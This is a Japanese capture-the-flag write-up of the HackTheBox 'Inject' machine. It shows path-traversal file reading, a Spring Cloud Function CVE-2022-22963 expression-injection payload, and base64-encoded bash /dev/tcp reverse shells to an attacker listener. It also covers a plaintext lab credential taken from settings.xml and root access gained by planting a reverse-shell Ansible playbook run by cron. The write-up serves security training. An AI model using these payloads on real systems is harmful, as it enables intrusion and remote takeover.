HackTheBox Inject Writeup
はじめに
2023年6月にHacktheBoxでHacker到達し、現在はTryHackMeで修行中です。
Writeup
RHOST=10.129.75.129
LHOST=
Enumeration
いつも通りnmapかけるところからスタート。
nmap -sC -sV -oA all -vv -p- $IP
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZNtFBY2xMX8oDH/EtIMngGHpVX5fyuJLp9ig7NIC9XooaPtK60FoxOLcRr4iccW/9L2GWpp6kT777UzcKtYoijOCtctNClc6tG1hvohEAyXeNunG7GN+Lftc8eb4C6DooZY7oSeO++PgK5oRi3/tg+FSFSi6UZCsjci1NRj/0ywqzl/ytMzq5YoGfzRzIN3HYdFF8RHoW8qs8vcPsEMsbdsy1aGRbslKA2l1qmejyU9cukyGkFjYZsyVj1hEPn9V/uVafdgzNOvopQlg/yozTzN+LZ2rJO7/CCK3cjchnnPZZfeck85k5sw1G5uVGq38qcusfIfCnZlsn2FZzP2BXo5VEoO2IIRudCgJWTzb8urJ6JAWc1h0r6cUlxGdOvSSQQO6Yz1MhN9omUD9r4A5ag4cbI09c1KOnjzIM8hAWlwUDOKlaohgPtSbnZoGuyyHV/oyZu+/1w4HJWJy6urA43u1PFTonOyMkzJZihWNnkHhqrjeVsHTywFPUmTODb8=
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUJSpBOORoHb6HHQkePUztvh85c2F5k5zMDp+hjFhD8VRC2uKJni1FLYkxVPc/yY3Km7Sg1GzTyoGUxvy+EIsg=
| 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICZzUvDL0INOklR7AH+iFw+uX+nkJtcw7V+1AsMO9P7p
8080/tcp open nagios-nsca syn-ack Nagios NSCA
|_http-title: Home
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22と8080が開いているので、Webから調査します。
Web探索前に、ディレクトリとサブドメインをツールで探しておきます。
Dirb、Gobuster、wfuzz、FFUFなどありますが違いが分からないので適当につかってます。
いつもはGobuster使いますが今回はwfuzzにしました。
kali:~/htb (master) λ wfuzz -u http://10.129.75.129:8080/FUZZ -w /usr/share/dirb/wordlists/small.txt --sc 200
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.75.129:8080/FUZZ
Total requests: 959
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000684: 200 103 L 194 W 5654 Ch "register"
000000860: 200 53 L 107 W 1857 Ch "upload"
Total time: 0
Processed Requests: 959
Filtered Requests: 957
Requests/sec.: 0
uploadが見つかったのでアクセスします。
画像をUploadできるサイトのようです。
Upload後View your imageを押すと /show_imageへ遷移します。クエリにはUploadしたファイル名があります。
ここからLFIの可能性を考えます。
http://10.129.75.129:8080/show_image?img=../../../../../../etc/passwd
いけました。
次にディレクトリ探索できるか試します。
http://10.129.75.129:8080/show_image?img=../../../../../../var/www
できました。
階層を下っていくと、/var/www/WebApp/pom.xmlの出力から、dependencyとしてspringframework.cloudのv3.2.2が使用されていることが分かります。
このバージョンはCVE-2022-22963が存在します。
exploit-dbはこちら
Foothold
まず、http://10.129.75.129:8080/functionRouter
にアクセスしてPOSTを送ってみる。500エラーが返ってくる。
その後、BurpのRepeaterでHeaderに以下をつける。
spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
{cmd}に好きなコマンドを入れることになる。
いつも通り、Listenを開始する
nc -lvnp 1234
普通に以下のリバースシェルを入れても反応しない。
bash -i >& /dev/tcp/Local_IP/1234 0>&1
おそらくスペースなどが取り除かれているぽいので、base64 encodeする。
echo -n "bash -i >& /dev/tcp/Local_IP/1234 0>&1" | base64
色々試すとこれで刺さり、シェルが返ってくる。
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,base64EncodedStrings}|{base64,-d}|{bash,-i}")
Lateral Movement
sudo su
するとfrankの権限が低いので他のユーザを探す。
/home/frank/.m2/settings.xml
を開くとphil:DocPhillovestoInject123
のCredentialsが見つかるので、ユーザを変える。
su phil
Privilege Escalation
今回はpspyというプロセス確認ツールを使う。
まずはGithubからダウンロード
その後、サーバーを立てる
python3 -m http.server 8000
終わったらwgetでリモートホストにUpload、権限付与、実行する。
wget Local_IP:8000/pspy64
chmod -x pspy64
./pspy64
ansible-parallelが怪しそう。何回も流れてくる。
2つ目のコマンドがplaybook_1.ymlをコピーして別のフォルダに移行しており、1つめでコピーしたファイルを実行している模様。これがcronジョブとして実行されているぽい。
とりあえずplaybook_1.ymlを見てみると、実行されていないときは自動的に起動する模様。実行権限はrootなので、これを悪用して権限昇格を目指す。
philは実行権限を持つstaffグループの一員であると、ls -la
とid
から判明している。
playbook_2.ymlを作成してcronで実行してもらう
- hosts: localhost
tasks:
- name: Checking webapp service
shell: bash -c 'bash -i >& /dev/tcp/Local_IP/4444 0>&1'
Listenはこれ
nc -lvnp 4444
playbook_2.ymlを作成して少し待っているとシェルが返ってくる。
idやwhoamiでroot奪取できたのがわかる。
おわりに
このMachineはアクティブ時代の6月に一度解いているのですが、WriteupがUsershell入手以降保存されてなかったので、再度侵入してWriteup書いてみました。全然思い出せなかったので、ちゃんと復習しようと思いました。
Discussion